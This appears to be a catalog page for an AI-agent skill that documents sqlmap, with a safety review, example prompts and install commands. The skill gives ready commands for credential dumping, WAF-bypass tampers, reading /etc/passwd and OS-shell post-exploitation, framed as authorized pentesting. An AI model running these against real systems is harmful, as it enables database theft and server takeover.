sqlmap - SQL Injection Detection and Exploitation

VerifiedCaution

Detect and exploit SQL injection vulnerabilities with sqlmap. Supports parameter testing, database enumeration, and advanced techniques like tamper scripts for WAF bypass.

Sby Skills Guide Bot
SecurityAdvanced
8/6/2026
Claude CodeCursorCodex
#sql-injection#penetration-testing#sqlmap#database-enumeration#web-security

Recommended for

Automated summary

This skill explains how to drive sqlmap to detect and exploit SQL injection, enumerate databases, and carry out post-exploitation actions against a web target.

Strengths

  • Covers the main injection techniques (boolean-blind, time-blind, error-based, UNION, stacked queries) and major DBMSes (MySQL, PostgreSQL, MSSQL, Oracle, SQLite)
  • Provides directly reusable commands for detection, database/table/column enumeration, and targeted credential dumps
  • Shows how to test authenticated sessions (cookies, headers) and JSON parameters on REST APIs
  • Details WAF-bypass tamper scripts plus --level/--risk options for tuning test depth

Limitations

  • Assumes explicit authorization: the skill covers neither scope agreements nor legal guardrails
  • Post-exploitation actions (--os-shell, --file-read, --dump-all) depend on database user privileges and can be highly intrusive
  • Does not address vulnerability remediation or penetration-test report writing
When to use it

Use it during an authorized penetration test to confirm a SQL injection, extract proof data, or assess the real-world impact of the flaw.

When not to use it

Avoid it without written authorization, or on a production target where a bulk dump or --os-shell could degrade the service.

Security analysis

Caution
Quality score82/100

There is no obfuscation, no curl|sh piping, no local destructive commands, and no attempt to exfiltrate the operator's secrets to a third party. The content is accurate documentation of a well-known, legitimate open-source pentesting tool, and it explicitly states that written authorization is required. However it teaches and enables high-impact offensive operations including database dumping, remote file reads and OS shell acquisition, with authorization only as advisory guidance, so it warrants a caution rating rather than safe.

Findings
  • •Dual-use offensive tooling: the skill documents active SQL injection exploitation (--dump, --dump-all, --os-shell, --file-read) against remote hosts, which is illegal without authorization.
  • •No hard scope guardrails: authorization is only mentioned as a prose guideline, not enforced or prompted before destructive extraction steps (e.g., --dump-all, --os-shell).
  • •Post-exploitation commands (--file-read=/etc/passwd, --os-shell) can lead to remote file disclosure and command execution on target systems if misapplied.
  • •Uses network access to arbitrary URLs and can carry cookies/bearer tokens in command lines (credential exposure in shell history/logs).
How this analysis is made

Examples

Detect injection on a GET parameter
Test the id parameter of https://staging.myapp.com/products?id=1 for SQL injection with sqlmap in non-interactive mode, then tell me which DBMS and which injection technique were detected.
Dump user credentials
On the authorized target https://staging.myapp.com/products?id=1, list all databases, then dump the username, email and password_hash columns of webapp_db.users.
Bypass a WAF on a JSON API
The endpoint https://staging.myapp.com/api/search sits behind a WAF; rerun sqlmap on the JSON parameter 'query' using the space2comment, between and randomcase tampers with a random user-agent.

name: sqlmap description: >- Detect and exploit SQL injection with sqlmap. Use when a user asks to test for SQL injection, extract database contents, bypass authentication via SQLi, automate injection testing, or dump database schemas. license: Apache-2.0 compatibility: 'Linux, macOS, Windows (Python 3)' metadata: author: terminal-skills version: 1.0.0 category: devops tags: - sqlmap - sql-injection - penetration-testing - database - web-security

sqlmap

Overview

sqlmap automates SQL injection detection and exploitation. It supports all major databases (MySQL, PostgreSQL, MSSQL, Oracle, SQLite), all injection techniques (boolean-blind, time-blind, error-based, UNION, stacked queries), and can extract entire databases, read/write files on the server, and execute OS commands through SQL injection.

Instructions

Step 1: Basic Detection

# Test a URL parameter for SQL injection
sqlmap -u "https://target.example.com/products?id=1" --batch
# --batch: use defaults for all prompts (non-interactive)

# Test POST parameters
sqlmap -u "https://target.example.com/login" \
  --data="username=admin&password=test" \
  --batch

# Test with cookies and headers (authenticated sessions)
sqlmap -u "https://target.example.com/api/user?id=1" \
  --cookie="session=abc123" \
  --headers="Authorization: Bearer eyJ..." \
  --batch

# Specify which parameter to test
sqlmap -u "https://target.example.com/search?q=test&category=1&page=1" \
  -p "category" \
  --batch

Step 2: Database Enumeration

# List all databases
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch

# List tables in a database
sqlmap -u "https://target.example.com/products?id=1" \
  -D webapp_db --tables --batch

# List columns in a table
sqlmap -u "https://target.example.com/products?id=1" \
  -D webapp_db -T users --columns --batch

# Dump specific columns (e.g., credentials)
sqlmap -u "https://target.example.com/products?id=1" \
  -D webapp_db -T users -C "username,email,password_hash" --dump --batch

# Dump everything (use cautiously)
sqlmap -u "https://target.example.com/products?id=1" \
  -D webapp_db --dump-all --batch

Step 3: Advanced Techniques

# Specify injection technique
sqlmap -u "https://target.example.com/products?id=1" \
  --technique=BT --batch
# B: Boolean-blind, T: Time-blind, E: Error-based
# U: UNION, S: Stacked queries, Q: Inline queries

# Tamper scripts for WAF bypass
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper=space2comment,between,randomcase \
  --random-agent --batch
# space2comment: replaces spaces with /**/
# between: replaces > with NOT BETWEEN 0 AND
# randomcase: randomizes keyword case

# Test REST API JSON parameters
sqlmap -u "https://target.example.com/api/search" \
  --data='{"query":"test","limit":10}' \
  --content-type="application/json" \
  -p "query" --batch

# Level and risk increase (deeper testing)
sqlmap -u "https://target.example.com/products?id=1" \
  --level=5 --risk=3 --batch
# level 5: tests cookies, User-Agent, Referer, all params
# risk 3: includes heavy time-blind and OR-based tests

Step 4: Post-Exploitation

# Read files from server (if DB user has FILE privilege)
sqlmap -u "https://target.example.com/products?id=1" \
  --file-read="/etc/passwd" --batch

# Get an OS shell (stacked queries + privileges needed)
sqlmap -u "https://target.example.com/products?id=1" \
  --os-shell --batch

# Get a SQL shell
sqlmap -u "https://target.example.com/products?id=1" \
  --sql-shell --batch

# Check current DB user and privileges
sqlmap -u "https://target.example.com/products?id=1" \
  --current-user --current-db --is-dba --batch

Step 5: Crawl and Test Entire Application

# Crawl the site and test all found parameters
sqlmap -u "https://target.example.com/" \
  --crawl=3 --batch --forms
# --crawl=3: follow links up to depth 3
# --forms: test HTML form parameters too

# Use a Burp/ZAP request file
sqlmap -r captured-request.txt --batch
# captured-request.txt is a raw HTTP request file

Guidelines

  • Always have written authorization. SQL injection testing against unauthorized targets is illegal.
  • Start with --batch --level=1 --risk=1 (defaults). Increase level/risk only if needed.
  • --batch mode is essential for automation — prevents interactive prompts.
  • Time-blind injection is slow. Use --threads=10 to speed up extraction.
  • Tamper scripts bypass WAFs. Common: space2comment, between, charencode, randomcase.
  • Use -r request.txt with Burp Suite exported requests for complex auth flows.
  • --dump extracts data. In a real pentest, dump only what proves the vulnerability — not the entire database.
  • sqlmap auto-detects the DBMS. Use --dbms=mysql to skip detection (faster).

From the file to a first result

The download contains exactly the content displayed on this page. This copy may differ from the latest version in the source repository.

View the source and supporting files

This download contains SKILL.md only. Any scripts, references, templates and dependencies are not included. Get the required files from the source, preserving their directory structure, before continuing.

1. Download the file

Download SKILL.md

From the root of a test project, save the file as .skill-downloads/sqlmap-sql-injection-detection-and-exploitation-msh3uta1/SKILL.md, or use the command below. This folder is for inspecting the skill before installation.

Command for macOS/Linux or WSL: requires a POSIX shell and curl. On Windows without WSL, use the download button and create the folder manually.

mkdir -p '.skill-downloads/sqlmap-sql-injection-detection-and-exploitation-msh3uta1' && curl --fail --show-error --location 'https://skills-guides.com/api/skills/sqlmap-sql-injection-detection-and-exploitation-msh3uta1/download' --output '.skill-downloads/sqlmap-sql-injection-detection-and-exploitation-msh3uta1/SKILL.md.part' && mv '.skill-downloads/sqlmap-sql-injection-detection-and-exploitation-msh3uta1/SKILL.md.part' '.skill-downloads/sqlmap-sql-injection-detection-and-exploitation-msh3uta1/SKILL.md'

2. Check prerequisites

Read SKILL.md before using it. If it references scripts or external services, inspect them and prepare the required access in your test environment.

Environment declared by the author: Linux, macOS, Windows (Python 3)

No recognized prerequisites section in this file. This does not mean it is self-contained: libraries, tools and access requirements may be mentioned elsewhere in the content or source repository.

The platforms on this page are catalog indications. The paths below follow tool documentation; they do not prove this skill has been run in those tools. No minimum tool version is confirmed for this listing.

3. Load the skill

After inspection, copy the complete folder into your project using one of the commands below, then open a new tool session. The command stops if a folder with the same name already exists: compare the files before replacing it.

Claude Code
test -f '.skill-downloads/sqlmap-sql-injection-detection-and-exploitation-msh3uta1/SKILL.md' && test -s '.skill-downloads/sqlmap-sql-injection-detection-and-exploitation-msh3uta1/SKILL.md' && mkdir -p '.claude/skills' && test ! -e '.claude/skills/sqlmap' && cp -R '.skill-downloads/sqlmap-sql-injection-detection-and-exploitation-msh3uta1' '.claude/skills/sqlmap'

Cursor
test -f '.skill-downloads/sqlmap-sql-injection-detection-and-exploitation-msh3uta1/SKILL.md' && test -s '.skill-downloads/sqlmap-sql-injection-detection-and-exploitation-msh3uta1/SKILL.md' && mkdir -p '.cursor/skills' && test ! -e '.cursor/skills/sqlmap' && cp -R '.skill-downloads/sqlmap-sql-injection-detection-and-exploitation-msh3uta1' '.cursor/skills/sqlmap'

Codex
test -f '.skill-downloads/sqlmap-sql-injection-detection-and-exploitation-msh3uta1/SKILL.md' && test -s '.skill-downloads/sqlmap-sql-injection-detection-and-exploitation-msh3uta1/SKILL.md' && mkdir -p '.agents/skills' && test ! -e '.agents/skills/sqlmap' && cp -R '.skill-downloads/sqlmap-sql-injection-detection-and-exploitation-msh3uta1' '.agents/skills/sqlmap'

OpenSkills

OpenSkills must already be installed. The local install/read procedure is checked with OpenSkills 1.5.0, which requires Node.js ≥ 20.6.0. Catalog slugs are not resolved automatically.

Official OpenSkills installation
openskills install './.skill-downloads/sqlmap-sql-injection-detection-and-exploitation-msh3uta1'

openskills read 'sqlmap-sql-injection-detection-and-exploitation-msh3uta1'

Reading should display the installed file content and its base directory. It does not run the skill or install its dependencies.

For an agent that reads AGENTS.md, then sync the index. This command changes AGENTS.md: review the diff before using it.

openskills sync

Manual method or another tool: attach SKILL.md to a conversation, or open it in an agent that can read files. Include any required supporting resources. No universal folder is recognized by every tool.

4. Try a first task

Use a short, synthetic input: an API endpoint, a small document or an interface brief. In a new conversation, attach the file or give the agent its path, then adapt this request:

Read .skill-downloads/sqlmap-sql-injection-detection-and-exploitation-msh3uta1/SKILL.md and apply its instructions to this example: [describe a test input]. Identify any missing files, dependencies or access. Produce the result requested by the skill without inventing data or running unreviewed scripts.

Expected result: output matching the skill instructions, or a precise list of missing prerequisites. A read confirmation alone does not validate a first use. If an external resource is unavailable, that path remains untested.

Related skills